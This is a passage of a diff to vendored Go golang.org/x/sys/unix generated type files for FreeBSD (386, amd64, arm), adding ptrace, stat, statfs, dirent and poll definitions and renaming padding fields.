-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +190,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -270,11 +324,108 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [4]byte
-+ _ [32]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ Fs uint32
-+ Es uint32
-+ Ds uint32
-+ Edi uint32
-+ Esi uint32
-+ Ebp uint32
-+ Isp uint32
-+ Ebx uint32
-+ Edx uint32
-+ Ecx uint32
-+ Eax uint32
-+ Trapno uint32
-+ Err uint32
-+ Eip uint32
-+ Cs uint32
-+ Eflags uint32
-+ Esp uint32
-+ Ss uint32
-+ Gs uint32
-+}
-+
-+type FpReg struct {
-+ Env [7]uint32
-+ Acc [8][10]uint8
-+ Ex_sw uint32
-+ Pad [64]uint8
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint32
-+}
-+
- type Kevent_t struct {
- Ident uint32
- Filter int16
-@@ -285,7 +436,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [32]uint32
-+ Bits [32]uint32
- }
-
- const (
-@@ -301,53 +452,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -379,24 +529,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -409,19 +559,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -478,18 +628,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -516,6 +666,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-index c65d89e4..e11e9549 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,40 +57,50 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-@@ -113,22 +123,58 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +186,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -225,10 +275,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -272,11 +320,115 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [8]byte
-+ _ [40]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ R15 int64
-+ R14 int64
-+ R13 int64
-+ R12 int64
-+ R11 int64
-+ R10 int64
-+ R9 int64
-+ R8 int64
-+ Rdi int64
-+ Rsi int64
-+ Rbp int64
-+ Rbx int64
-+ Rdx int64
-+ Rcx int64
-+ Rax int64
-+ Trapno uint32
-+ Fs uint16
-+ Gs uint16
-+ Err uint32
-+ Es uint16
-+ Ds uint16
-+ Rip int64
-+ Cs int64
-+ Rflags int64
-+ Rsp int64
-+ Ss int64
-+}
-+
-+type FpReg struct {
-+ Env [4]uint64
-+ Acc [8][16]uint8
-+ Xacc [16][16]uint8
-+ Spare [12]uint64
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint64
-+}
-+
- type Kevent_t struct {
- Ident uint64
- Filter int16
-@@ -287,7 +439,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [16]uint64
-+ Bits [16]uint64
- }
-
- const (
-@@ -303,53 +455,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -381,24 +532,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -411,19 +562,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -468,9 +619,8 @@ type BpfZbuf struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -481,18 +631,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +669,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-index 42c0a502..6f79227d 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -21,15 +21,15 @@ type (
- )
-
- type Timespec struct {
-- Sec int64
-- Nsec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Nsec int32
-+ _ [4]byte
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Rusage struct {
-@@ -59,43 +59,78 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]int8
-+ Mntfromname [1024]int8
-+ Mntonname [1024]int8
-+}
-+
-+type statfs_freebsd11_t struct {
- Version uint32
- Type uint32
- Flags uint64
-@@ -121,16 +156,27 @@ type Statfs_t struct {
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -142,6 +188,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -272,11 +322,92 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
- )
-
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
-+)
-+
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [4]byte
-+ X_reason [32]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ R [13]uint32
-+ R_sp uint32
-+ R_lr uint32
-+ R_pc uint32
-+ R_cpsr uint32
-+}
-+
-+type FpReg struct {
-+ Fpr_fpsr uint32
-+ Fpr [8][3]uint32
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint32
-+}
-+
- type Kevent_t struct {
- Ident uint32
- Filter int16
-@@ -287,7 +418,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [32]uint32
-+ Bits [32]uint32
- }
-
- const (
-@@ -303,53 +434,53 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -376,30 +507,30 @@ type IfData struct {
- Iqdrops uint32
- Noproto uint32
- Hwassist uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Epoch int64
- Lastchange Timeval
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfAnnounceMsghdr struct {
-@@ -412,19 +543,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
